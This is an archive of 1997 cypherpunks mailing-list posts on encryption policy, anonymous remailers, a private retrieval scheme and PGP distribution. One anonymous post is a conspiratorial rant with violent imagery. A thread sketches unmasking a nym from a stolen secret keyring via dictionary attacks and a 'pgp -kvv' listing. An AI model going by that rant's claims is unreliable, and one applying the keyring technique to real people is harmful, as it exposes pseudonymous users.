From: 3umoelle@informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Wed, 18 Jun 1997 07:52:39 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Regulating the Net
In-Reply-To: <199706171126.HAA08815@arutam.inch.com>
Message-ID: <m0we76O-0003b9C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



> Note the privacy protections being written into law in Germany:
> 
> "Privacy protection: Personal data can be gathered only to the
> extent that is necessary to perform the requested service (like
> connecting to the Internet) or for accounting purposes, and must be
> erased immediately thereafter. The consumers must be forewarned of
> the type, scope and place of the data collection and have the right
> to access their personal information at any time."
> 
> Since this bill is now passing into law, I will expect an immediate 
> exodus of corporations from the country in order to avoid these 
> draconian laws.  Better start selling my deutschemarks, huh?

There is nothing much new in that law.  Internet service providers
have always been subject to the general Privacy Law.  Also have a look
at the EU privacy directive, which is similar in spirit:
http://www.echo.lu/legal/en/dataprot/directiv/directiv.html

You'll probably not be very surprised to learn that e.g. many credit
card companies operate from Denmark or the Netherlands, and that even
the state-owned railway company has orders for their customer cards
processed in the US and the cards mailed from Holland.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 18 Jun 1997 16:38:37 +0800
To: cypherpunks@toad.com
Subject: Dateline=FUD / Witness=Reality
Message-ID: <199706180813.BAA08280@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



  It is interesting to note the differences between the U.S. media and 
the Canadian media in the wake of the McVeigh trial.

  Dateline NBC is milking the remaining viewer interest by doing a
fear-piece on the dangerous threat to the country that militia groups
pose, despite the fact that the McVeigh=Militia mental construct is
a total government fabrication.
  Dateline promotes great fear over the danger posed by the existence of
citizens who "resist government control." Apparently, any citizens who
wish for freedom from government control are an enemy of the government.
Any citizens who wish to take steps to be able to defend their own
personal freedom are an enemy of the government.

  Following Dateline was Witness, a Canadian show, running a production
called "Surviving Waco."
  "Surviving Waco" was a straight documentary with little "spin" to its
theme. It reviewed the Waco tragedy without placing large amounts of
blame or adding imaginary conspiracy theories.
  What made the show startling was the fact that without all of the
hype and hoopla of spin-doctored media coverage the whole affair turned
out to be a simple case of government agencies launching an assault
against a group of people who held unusual religious beliefs.

  When you strip the hype and hoopla away from the OKC bombing, what is
really left?
  A former member of the U.S. military decided that the U.S. government
is an enemy of the citizens and should be subjected to armed assault.

  Those who made the decisions resulting in the deaths of men, women
and children in Waco are drawing government paychecks while the victims
who survived the assault are in jail.
  The person who made the decision resulting in the deaths of men,
women and children in OKC faces death and the victims who survived are
heros.

  The true tragedy surrounding these events is the fact that the
media gets away with feeding the public hype and hoopla because
that is all the public really wants to hear. Reality is just too
damn scary.
  Reality is that when the government screws up an operation so
badly that it gets totally out of hand and results in the deaths
of a multitude of citizens, the survivors will be imprisoned in
order to accentuate their guilt and the government's innocence.
  Reality is that a single person with no connections to any
(perceived) radical group can commit an act of destruction 
against government buildings and their occupants, and the
government can confiscate all the weapons and do all the
wiretaps they want without making the public any more secure 
against this possibility.

  The public wants to be told that the "danger" can be removed
if this-or-that group is neutralized. The public wants the media
to name an enemy that we can be protected from--militia, drug
dealers, pornographers, cryptologists.
  Reality is too scary.
  Reality is that I can pick up the garden hoe outside and
walk over to my neighbor's house and whack his whole family
over the head, and he can do the same. (Reality is the fact
that I would spend 5 more years in prison than he, because
I have PGP on my computer.) Reality is that if government
takes away all the guns and crypto, and taps all the phones,
and even takes away my garden hoe, I can break off a good,
thick tree branch and go whack the public over the head.
(even innocent children!)

  We live in a Media Reality where the slaughter of men, women and 
children is given a spin to provide whatever illusion the media and
the polls deem will sell the most Pepsi to the public.
  The public doesn't want to hear that the 800 law enforcement agents
surrounding Waco are monsters. They don't want to hear that people can
be slaughtered for their religious beliefs by government forces. They
do want to believe that a single monster is responsible for OKC and
that killing him will remove the threat.
  And most of all, the public wants to believe that the Branch Davidians
"had it coming," because, if they didn't, then the possibilities it
raises are too frightening to imagine.

  The problem, of course, is that the greater the number and the more
varied the groups of people who resist increasing government control,
then the greater and the more varied will be the list of people who 
"have it coming."
  Currently, cryptographers are being added to the list of those who
"have it coming." The media reports of the government assault on the
meeting place for the Bay Area Cypherpunks meeting will be accompanied
by government proof of the Cypherpunks having started the fire in which
they died. There will be great media coverage of the Cypherpunks'
conspiracies to poison water supplies, make drugs and deal in child
pornography (under their "leader," Jim Bell, of course).
  Oh, I forgot about Cypherpunks' plans to "nuke D.C." If that isn't
enough to make us all "monsters" then what is?

  Of course, while we are sitting in jail (or walking toward the gas
chamber) we can take consolation in the fact that perhaps somewhere
there is a country showing a documentary which reflects the reality
of our lives and our actions, instead of the hype and hoopla needed to
sell more Pepsi.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0097.myriad.ml.org (Matthew Ghio)
Date: Wed, 18 Jun 1997 16:37:08 +0800
To: cypherpunks@cyberpass.net
Subject: Recipient Anonymity
Message-ID: <199706180825.BAA20903@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



A group of servers collects messages of equal length for anonymous
recipients.  All servers exchange messages so that each has copies of all
messages.

A recipient wishes to retrieve a message from the servers without any
server knowing which message he is receiving.  The recipient selects a
group of n servers.  From each server, S_1...S_n-1, he requests a random
selection of messages, with a 50% probability that any particular message
will be selected.  The server returns the xor of all messages requested.
He sends the final server a request which is the xor of all the previous
requests and the one single message that he wants.

The xor of all the responses is the desired message.  It is impossible to
determine which message was received unless all servers collude.

A variant of this scheme where there is only one server and a number of
anonymizing proxies will also work, however in this case there must be
sufficient delay to obscure the time correlations or the server will know
which message was received, and collusion with any one of the proxies
could reveal the recipient.

It is also possible to eliminate the need for real-time communication and
operate the system on a store-and-forward network.  The recipient
generates a one time pad and sends it to a remailer/messageserver along
with a reply-block which is a nested series of encrypted message requests
and next-hop addresses.  Each remailer along the way xors the requested
messages onto the existing message data before forwarding it to the next
hop.  When the recipient gets his message back, he decrypts it using the
one time pad.  To account for the situation where first and last remailer
collude, it is desireable to have some of the intervening remailers apply
a stream cipher to the message using a supplied key.

The server-to-server broadcast eliminates the need for cover traffic, but
the anonymizing proxy system does not.  However, there is no reason that
both schemes could not be used concurrently in the same network, and in
fact they would look the same to the end-user.

Except for the additional server-to-server communications necessary to
broadcast new messages into the system, the bandwidth utilization is
comparable to sender-anonymous remailers; it scales linearly as the
number of parties involved in the delivery of a particular message.  The
failure rate is also the product of the failure rate for each server; if
one server delivers corrupt data, the message is unreadable, and the
recipient must identify the bad server and eliminate it from future
requests.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Wed, 18 Jun 1997 14:25:42 +0800
To: cypherpunks@toad.com
Subject: ALERT: Senate to vote on mandatory key escrow as early as Thu June 19!
Message-ID: <199706180606.CAA22144@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain



=============================================================================
          ____                  _              _   _
         / ___|_ __ _   _ _ __ | |_ ___       | \ | | _____      _____
        | |   | '__| | | | '_ \| __/ _ \ _____|  \| |/ _ \ \ /\ / / __|
        | |___| |  | |_| | |_) | || (_) |_____| |\  |  __/\ V  V /\__ \
         \____|_|   \__, | .__/ \__\___/      |_| \_|\___| \_/\_/ |___/
                    |___/|_|

        SENATE COMMERCE COMMITTEE SET TO VOTE ON MANDATORY KEY ESCROW
            LEGISLATION AS EARLY AS THURSDAY JUNE 19TH!  CALL NOW!

     Date: June 17, 1997                            Expires July 1, 1997

         URL:http://www.crypto.com/            crypto-news@panix.com
           Redistribution of crypto-news is allowed in its entirety.

_____________________________________________________________________________
Table of Contents
        ALERT - Senate Committee Set to Vote on Key Escrow
        What YOU CAN DO NOW!
        Background On The Encryption Issue
        How to start or stop receiving crypto-news
        About This Alert

_____________________________________________________________________________
ALERT - SENATE COMMITTEE SET TO VOTE ON BILL TO GUARANTEE GOVERNMENT ACCESS
TO YOUR PRIVATE ONLINE COMMUNICATIONS

On Tuesday June 17, Senators John McCain (R-AZ) and Bob Kerrey (D-NE)
introduced legislation which would all but mandate that Americans provide
guaranteed government access to their private online communications and
stored files.

The bill, known as "The Secure Public Networks Act of 1997" (S.909)
represents a full scale assault on your right to protect the privacy and
confidentiality of your online communications. Please take a moment to read
the instructions below and, if your Senator is a member of the Commerce
Committee, please take a moment to call your Senator TODAY!

Though offered on Capitol Hill as a compromise, the McCain-Kerrey bill is
virtually identical to draft legislation proposed earlier this year by the
Clinton Administration while doing nothing to protect the privacy and
security of Internet users. The bill closely mirrors  draft legislation
proposed by the Clinton Administration earlier this Spring.

Specifically, the bill would:

 * Compel Americans to Use Government-Approved Key Recovery Systems
 * Make Key Recovery a Condition Of Participation in E-Commerce
 * Allow Government Carte Blanche Access to Sensitive Encryption Keys
   Without a Court Order
 * Create New Opportunities for Cybercrimes
 * Codify a low 56-bit Key Length Limit on Encryption Exports
 * Create Broad New Criminal Penalties for the Use of Encryption

The full text of the bill, along with a detailed analysis, is available
online at http://www.cdt.org/crypto/

________________________________________________________________________
WHAT'S HAPPENING NOW

On Thursday June 19, the Senate Commerce Committee is scheduled to hold a
vote on S. 377, the Promotion of Commerce Online in the Digital Era
(Pro-CODE) Act - an Internet-friendly encryption reform bill sponsored by
Senators Burns (R-MT) and Leahy (D-VT).

Senator McCain, the Commerce Committee Chairman, is expected to try and
substitute his proposal for Pro-CODE - gutting the proposal and inserting
provisions which would all but mandate guaranteed government access to your
private communications.

Please take a few moments to help protect your privacy and security in the
Information Age by following the simple instructions below.

________________________________________________________________________
WHAT YOU CAN DO NOW

   ** THE COMMITTEE IS EXPECTED TO VOTE AT 9:30 AM Eastern JUNE 19 **
         ** IT IS CRITICAL THAT YOU CALL YOUR SENATOR TODAY **

A list of Senate Commerce Committee members is printed below. If your
Senator is on the list, please call TODAY.

  NOTE - If your Senator is not on the list, please visit
         http://www.crypto.com/adopt and ADOPT YOUR LEGISLATOR. You will
         receive targeted alerts next time your Representatives or
         Senators are poised to vote on this and other critical Internet
         Related issues.

1. If your Senator's name is on the list below, pick up the phone and
   call them at 202-224-3121.  Ask for your Senator's office.  

  Order: Frist, Abraham, Snowe, Stevens, Browe, Bryan.

  * = has publicly stated opposition to the McCain-Kerrey bill.
  + = has publicly stated support to the McCain-Kerrey bill.

   William Harrison Bill Frist, R-TN
   Spencer Abraham, R-MI                        ALL THESE SENATORS ARE
   Olympia Snowe, R-ME                       TELEPHONABLE AT 202-224-3121
   Ted Stevens, R-AK
   John B. Breaux, D-LA
   Richard H. Bryan, D-NV

   +John McCain, R-AZ, Chairman
   *Conrad R. Burns, R-MT
   Slade Gorton, R-WA
   *Trent Lott, R-MS
   Kay Bailey Hutchison, R-TX
   *John Ashcroft, R-MO
   *Sam Brownback, R-KS

   +Ernest F. Hollings, D-SC, Ranking minority member
   Daniel K. Inouye, D-HI
   Wendell H. Ford, D-KY
   +John D. Rockefeller, IV, D-WV
   +John F. Kerry, D-MA
   *Byron L. Dorgan, D-ND
   *Ron Wyden, D-OR

2. Ask for the staffer that handles the encryption issue

3. Urge your Senator to OPPOSE THE McCAIN-KERREY BILL (S. 909)
   at the Commerce Committee Markup on June 19:

SAY
THIS -> I am a constituent calling to urge the Senator to oppose the
        McCain-Kerrey "Secure Public Networks Act" at the Committee
        markup on June 19.

        The bill all but mandates key-recovery encryption and represents
        a grave threat to privacy and electronic commerce on the
        Internet.

        We need a solution to this issue that protects privacy and
        security on the Internet, and the solution being offered by
        Senators McCain and Kerrey isn't it. I hope you will take a
        strong stand on this important issue.

4. IMPORTANT! -- PLEASE LET US KNOW HOW IT WENT!

   Go to the feedback page for your member of Congress at
   http://www.crypto.com/feedback/ and let us know how it went. This
   will help us coordinate our strategy on the ground in DC.

5. Please forward this alert to your friends and colleagues
   who live in your congressional district (do not forward after
   June 25)

6. Finally, relax! You have done more to help fight for privacy and
   security on the Internet in 5 minutes than most people do in a year!
   We appreciate your support!

________________________________________________________________________
BACKGROUND ON THE ENCRYPTION POLICY ISSUE

Complete background information, including:

* A down-to-earth explanation of why this debate is important to
  Internet users
* Analysis and background on the issue
* An analysis of the Risks of Key-Recovery by leading cryptographers
* Text of the Administration draft legislation
* Text of Congressional proposals to reform US encryption policy
* Audio transcripts and written testimony from recent Congressional
  Hearings on encryption policy reform
* And more!

Are all available at http://www.crypto.com/

________________________________________________________________________
WHAT'S AT STAKE

Encryption technologies are the locks and keys of the Information age,
enabling individuals and businesses to protect sensitive information
as it is transmitted over the Internet. As more and more individuals
and businesses come online, the need for strong, reliable, easy-to-use
encryption technologies has become a critical issue to the health and
viability of the Net.

Current US encryption policy, which limits the strength of encryption
products US companies can sell abroad, also limits the availability of
strong, easy-to-use encryption technologies in the United States. US
hardware and software manufacturers who wish to sell their products on
the global market must either conform to US encryption export limits or
produce two separate versions of the same product, a costly and
complicated alternative.

The export controls, which the NSA and FBI argue help to keep strong
encryption out of the hands of foreign adversaries, are having the
opposite effect. Strong encryption is available abroad, but because of
the export limits and the confusion created by nearly four years of
debate over US encryption policy, strong, easy-to-use privacy and
security technologies are not widely available off the shelf or "on the
net" here in the US.

A recently discovered flaw in the security of the new digital telephone
network exposed the worst aspects of the Administration's encryption
policy.  Because the designers needed to be able to export their
products, the system's security was "dumbed down".  Researchers
subsequently discovered that it is quite easy to break the security of the
system and intrude on what should be private conversations.

This incident underscores the larger policy problem: US companies are
at a competitive disadvantage in the global marketplace when competing
against companies that do not have such hindrances.  And now, for the first
time in history, the Clinton Administration and members of the US Senate
have proposed DOMESTIC RESTRICTIONS on the ability of Americans to protect
their privacy and security online.

All of us care about our national security, and no one wants to make it
any easier for criminals and terrorists to commit criminal acts. But we
must also recognize encryption technologies can aid law enforcement
and protect national security by limiting the threat of industrial
espionage and foreign spying, promote electronic commerce and protecting
privacy.

What's at stake in this debate is nothing less than the future of
privacy and the fate of the Internet as a secure and trusted medium for
commerce, education, and political discourse.

________________________________________________________________________
HOW TO START OR STOP RECEIVING CRYPTO-NEWS

To subscribe to crypto-news, sign up from our WWW page (http://www.crypto.com)
or send mail to majordomo@panix.com with "subscribe crypto-news" in the body
of the message.  To unsubscribe, send a letter to majordomo@panix.com with
"unsubscribe crypto-news" in the body.

Requests to unsubscribe that are sent to shabbir@vtw.org will be ignored.

________________________________________________________________________
ABOUT THIS ALERT

This message was brought to you by the Center for Democracy and
Technology (http://www.cdt.org) and the Voters Telecommunications Watch
(http://www.vtw.org/), who have joined together to create the Adopt Your
Legislator Campaign - a unique and effective way of creating dialogue
between members of Congress and their Constituents on critical
Internet-related issues.

For more information on the Adopt Your Legislator Campaign, please visit
http://www.crypto.com/adopt/
______________________________________________________________________________
end alert 06.17.97
------------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Fred B. Ringel" <fredr@joshua.rivertown.net> (by way of Alec McCrackin <camcc@abraxis.com>)
Date: Wed, 18 Jun 1997 21:44:08 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: [PGP-USERS] ANNOUNCING: Georgia Cracker Anonymous Remailer
Message-ID: <3.0.2.32.19970618083439.007c1390@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi all-

	Here is Andy Dustbin's replacement for the dustbin remailer, one
which was quite reliable during the time it was up. Add this one to your
lists. You can get the keys from the remailer.

	The good news is Andy intends to eatablish another nym remailer. We
need more of these.

	Fred
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
Fred B. Ringel		      --      Rivertown.Net Internet Access
Systems Administrator	      --      Voice/Fax/Support: +1.914.478.2885
PGP- Public Key		      --      email: fredr-pgpkey@joshua.rivertown.net
	Although in theory, there's no difference between 
	theory and practice, in practice, there is.


---------- Forwarded message ----------
Date: Wed, 18 Jun 1997 00:42:49 -0400 (EDT)
From: Andy Dustman <andy@CCMSD.chem.uga.edu>
Subject: ANNOUNCING: Georgia Cracker Anonymous Remailer

Dustbin is dead; long live Cracker! ("Cracker" means more than you think;
get out your dictionaries and look up the term as it applies to the SE US,
or specifically GA. ;)

Here is the vital data:

$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk pgp hash latent cut
ek mix reord middle";

Cracker runs ghio-2 and Mixmaster 2.0.4b1. You may notice an extra key
stashed in here. It is for the forthcoming nymserver (which I am having a
nasty problem with PGPPATH, ARGH!). Don't use it yet; I hopefully will
make the announcement tommorrow.

Andy Dustman / Computational Center for Molecular Structure and Design / UGA
    To get my PGP public key, send me mail with subject "send file key".
For the ultimate anti-spam procmail recipe, send me mail with subject "spam"
"Encryption is too important to leave to the government."  -- Bruce Schneier
http://www.ilinks.net/~dustman    mailto:andy@CCMSD.chem.uga.edu      <}+++<








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "imran" <siddiq@comnet.com.tr>
Date: Wed, 18 Jun 1997 19:49:02 +0800
To: "William Knowles" <cypherpunks@toad.com>
Subject: Re: [?????] PGP 5.0 Freeware is available from ???
Message-ID: <199706181111.OAA29736@ildico.comnet.com.tr>
MIME-Version: 1.0
Content-Type: text/plain



Does Any body know if the PGP 5.0 program can be found outside US and
Canada,or how can the users from rest of the world have access to it.
please reply in person if possible.

_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/     
  ..o0O""O0o..  I see this world with a pessimist's eye not to grieve
    (    |  |    )    upon the misery of the Adam's children but to wait
     )  /    \  (     in vain for the blissful years yet to come...
     (_)    (_)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Arunas Norvaisa <arunas@post1.com>
Date: Wed, 18 Jun 1997 23:19:51 +0800
To: Peng Chiew <pclow@pc.jaring.my>
Subject: Re: [?????] PGP 5.0 Freeware is available from ???
Message-ID: <3.0.32.19970618180132.00696e10@post1.com>
MIME-Version: 1.0
Content-Type: text/plain



On 09:29 PM 97.06.18 +0700, Peng Chiew wrote (and I quoted):

> where is .tr in the first place?
>Will you pay for my airticket?? ;)

 tr is for Turkey and yes, you'll need airticket to get there
from .my !!! :)

>
>Seriously, you can get it at:
>
>        ftp.hacktic.nl
>        pub/replay/pub/incoming/pgp50trial.exe
>

 Will this be legal??? <= This is the question. BTW, when this
'trial' version will cease to work?



--
greetz... Arunas Norvaisa - little guy, The Masses Inc.
<mailto:arunas@post1.com> with subject: 'send key' to get PGP key
PGP for idiots page <http://www.a-vip.com/an>
  and a mirror site <http://www.post1.com/~arunas>
To understand a program you must become both the machine and the program.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peng Chiew <pclow@pc.jaring.my>
Date: Wed, 18 Jun 1997 21:49:25 +0800
To: imran <siddiq@comnet.com.tr>
Subject: Re: [?????] PGP 5.0 Freeware is available from ???
In-Reply-To: <199706181111.OAA29736@ildico.comnet.com.tr>
Message-ID: <33A7F0B0.3ED7C945@pc.jaring.my>
MIME-Version: 1.0
Content-Type: text/plain



imran wrote:

> Does Any body know if the PGP 5.0 program can be found outside US and
> Canada,or how can the users from rest of the world have access to it.
> please reply in person if possible.

Reply in person?? where is .tr in the first place?
Will you pay for my airticket?? ;)

Seriously, you can get it at:

        ftp.hacktic.nl
        pub/replay/pub/incoming/pgp50trial.exe

ciao!

pclow.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 24 Jun 1997 11:21:57 +0800
To: paul@fatmans.demon.co.uk (Paul Bradley)
Subject: Re: Impact of Netscape kernel hole (fwd)
In-Reply-To: <Pine.LNX.3.91.970614112312.1213B-100000@fatmans.demon.co.uk>
Message-ID: <199706141751.MAA24746@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Paul Bradley wrote:
> Joe "slightly crypto-savvy pgp user" sixpack keeps his pgp keyring in 
> c:\pgp on a dos/w95 box. The average user of any of the unices keeps his 
> keyring in /usr/pgp or /usr/local/pgp it does not take a lot of attempts 
> to go through most of the common places.
> 
> The very same guy probably has a password that is:
> 
> A. FRED (notice how close the letters are, this is a real dumb-ass 
> password of the century)
> 
> B. His wifes name
> 
> C. Her birthday
> 
> D. The name of his favourite film or some character from it...
> 
> Can you say "dictionary attack"???. 

Can you say "idiots have to pay"?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 19 Jun 1997 02:00:42 +0800
To: cypherpunks@toad.com
Subject: House Science hearing TOMORROW on NIST computer security act (fwd)
Message-ID: <Pine.GSO.3.95.970618095954.185D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Wed, 18 Jun 1997 09:59:27 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: House Science hearing TOMORROW on NIST computer security act



---------- Forwarded message ----------
Date: Fri, 13 Jun 1997 17:11:03 -0400
From: "Farmer, Donna" <Donna.Farmer@mail.house.gov>
To: declan
Subject: Computer Security Enhancement Act of 1997



Subcommittee on Technology


Legislative Hearing on the 
Computer Security Enhancement Act of 1997

Thursday, June 19th 1997
10:00 AM to 12:00 Noon
2318 Rayburn House Office Building



The Honorable Gary Bachula					Stephen T. Walker
Acting Under Secretary for Technology				President and CEO
Technology Administration					Trusted Information Systems, Inc.
Department of Commerce					Glenwood, MD
Washington, DC						
								James Bidzos
Whitfield Diffie							President & CEO
Distinguished Engineer						Redwood City, CA
Sun Microsystems						
Mountain View, CA

Marc Rotenberg
Director
Electronic Privacy Information Center
Washington, DC

..													
Hearing Purpose:  

The Hearing will focus on the provisions of the Computer Security
Enhancement Act of 1997.  The bill amends the Computer Security Act of
1987 (P.L.  100-235).  The Computer Security Act 1987of gave NIST the
lead responsibility for computer security for Federal civilian agencies.
 The act requires NIST to develop the standards and guidelines needed to
ensure cost-effective security and privacy of sensitive information in
Federal computer systems.  

Background: The Computer Security Enhancement Act will strengthen the
National Institute of Standards and Technology's (NIST's ) historic role
in computer security established by the Computer Security Act.  The bill
updates the decade-old act while giving NIST the tools it requires to
ensure that appropriate attention and effort is concentrated on securing
our Federal information technology infrastructure.

What the Bill Does:  

The Computer Security Enhancement Act updates the Computer Security Act
to take into account the evolution of computer networks and their use by
both the Federal Government and the private sector.  Specifically, the
security enhancement act:

1.	Requires NIST to promote the acquisition of off-the-shelf products
for meeting civilian agency computer security needs.  This measure
should reduce the cost and improve the availability of computer security
technologies to Federal agencies. 
	 
2.	Increases the input of the independent Computer System Security and
Privacy Advisory Board into NIST's decision-making process.  The board,
which is made up of  representatives from industry, federal agencies and
other outside experts, should assist NIST in its development of
standards and guidelines for Federal systems.
	  
3.	Requires NIST to develop standardized tests and procedures to
evaluate the strength of foreign encryption products.  Through such
tests and procedures, NIST, with assistance from the private sector,
will be able to judge the relative strength of foreign encryption,
thereby defusing some of the concerns associated with the export of
domestically produced encryption products. 
	
4.	Limits NIST's involvement to the development of standards and
guidelines for Federal civilian systems and not for the private sector.
The bill clarifies that NIST standards and guidelines are to be used for
the acquisition of security technologies for the Federal government and
are not intended as restrictions on the production or use of encryption
by the private sector.
	
5.	Updates the Computer Security Act to address changes in technology
over the last decade.  Significant changes in the manner in which
information technology is used by the Federal government have occurred
since the enactment of the Computer Security Act.  The bill updates the
Act, taking these changes into account.
	  
6.	Establishes a new computer science fellowship program for graduate
and undergraduate students studying computer security.  The bill sets
aside $250,000 a year, for each of the next two fiscal years, to enable
NIST to finance computer security fellowships under an existing NIST
grant program.
	
7.	Requires the National Research Council to conduct a study to assess
the desirability of, and the technology required to, support public key
infrastructures.  







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 19 Jun 1997 02:18:28 +0800
To: Alan <alano@teleport.com>
Subject: Re: The McVeigh Video Game
In-Reply-To: <Pine.GSO.3.96.970617100717.13050C-100000@linda.teleport.com>
Message-ID: <Pine.LNX.3.91.970618115843.360A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> Will the next video game target be evil cryptographers?

Dorothy Denning springs immediately to mind ;-)...

Seriously though, how does one stereotype a cryptographer in order to 
easily represent him/her in graphics? Drug dealers are easy: Shadowy 
character all in black carring guns and scaring small children, 
terrorists also, camoflague wearing rifle carriers, but cryptographers?

Maybe someone wearing a random noise camoflague suit and carrying heavy 
assult weapons such as a 3.5" plastic disk with a copy of PGP on it...


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 19 Jun 1997 01:33:02 +0800
To: Alan <alano@teleport.com>
Subject: Re: Impact of Netscape kernel hole (fwd)
In-Reply-To: <Pine.GSO.3.96.970617151502.27880A-100000@linda.teleport.com>
Message-ID: <Pine.LNX.3.91.970618120447.360B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> All the perp has to do, once the secring.pgp is obtained is "pgp -kvv
> secring.pgp" and he now knows that Joe Cypherpunk and Secret Nym are the
> same person.

Another reason for keeping physical security over keys, nym keys, if it 
is important enough that the nym stays unidentifiable, should be kept on 
a different secring.pgp, which should be kept physically secure on a disk 
and encrypted using some other key than your own real-name secret key 
(this is just a measure to prevent breaking one key revealing the nym). 

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Thu, 19 Jun 1997 03:59:43 +0800
To: cypherpunks@Algebra.COM
Subject: Anon E-mail article in WSJ
Message-ID: <Pine.GSO.3.96.970618124814.27604A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



In today's (06/18/97) Wall Street Journal there is an article on Anonymous
e-mail in the corporate environment.  Talks about companies who have set
up systems to recieve anonymous e-mail from employees to deal with
specific situations in the workplace.  Interesting stuff and very
positive.  (A few negatives were listed, but more as sidenotes than
anything.)

Page B-1 has the article.  This time I will be making a copy...

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 19 Jun 1997 01:50:37 +0800
To: cypherpunks@toad.com
Subject: Federal Websites
Message-ID: <1.5.4.32.19970618172135.006cdc8c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The General Accounting Office has published an astonishing list
of over 4,000 Federal Websites, many not well-known, with hyperlinks 
for easy access:

-  World Wide Web Sites: Reported by 42 Federal Organizations.
   GGD-97-86S. June 1, 1997. 
   http://www.gao.gov/new.items/gg97086s.pdf

It's a supplement to an assessment of federal electronic 
information systems:

-  Internet and Electronic Dial-Up Bulletin Board System Activities:
   Information Reported by Federal Organizations. GGD-97-86. June
   16, 1997. 
   http://www.gao.gov/new.items/gg97086.pdf

We note the also amazingly-revealing GovBot Database of Government
Websites which provides search and access to 308,000 government and
military web pages:

   http://cobar.cs.umass.edu/ciirdemo/Govbot/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Thu, 19 Jun 1997 04:43:50 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Tao
In-Reply-To: <v03102802afccf9fc2392@[207.167.93.63]>
Message-ID: <Pine.GSO.3.96.970618132733.2034A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 17 Jun 1997, Tim May wrote:
> At 5:34 PM -0700 6/17/97, Tom Weinstein wrote:
> 
> >What is appropriate for the master is not appropriate| Tom Weinstein
> >for the novice.  You must understand Tao before      | tomw@netscape.com
> >transcending structure.  -- The Tao of Programming   |
> 
> All Beings are happy when the Tao approaches 8800.

Sounds like Tim is having another Tao Jones...  (About average for him...)

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 19 Jun 1997 05:04:03 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Declan as a Crime Beat Reporter
In-Reply-To: <199706180334.UAA12837@netcom2.netcom.com>
Message-ID: <v03102801afcdf7669711@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:37 AM -0700 6/18/97, Declan McCullagh wrote:
>At 20:34 -0700 6/17/97, Vladimir Z. Nuri wrote:
>>hee, hee, I hope that Declan comes up with an amusing mishmash of your
>>own life. turnabout is fair play. maybe if he doesn't, someone else
>>can take a stab at satirizing mr. debauched millionaire playboy
>>who dabbles in cryptography theory.
>
>I was far from offended by Tim's post; in fact, I thought it was hilarious.

And I took pains to make sure it was not taken as a malicious attack. It
was, if anything, a reflection of my realization (known before, but not in
this version) that Washington is literally nothing more than just the
world's largest shakedown racket, with taxpayers being extorted amounts of
money probably unprecedented in world history (*), with various factions
dispensing favors to some and punishing others.

Bruce Sterling, at CFP '97, had an awe-inspiring rant about this essential
criminality of governments around the world, how they use their powers to
shake down businessmen and citizens, how they are complicit in the drug
trade, how, of course, the drug trade wouldn't even exist in its current
criminal form if governments did not collude to criminalize drugs and then
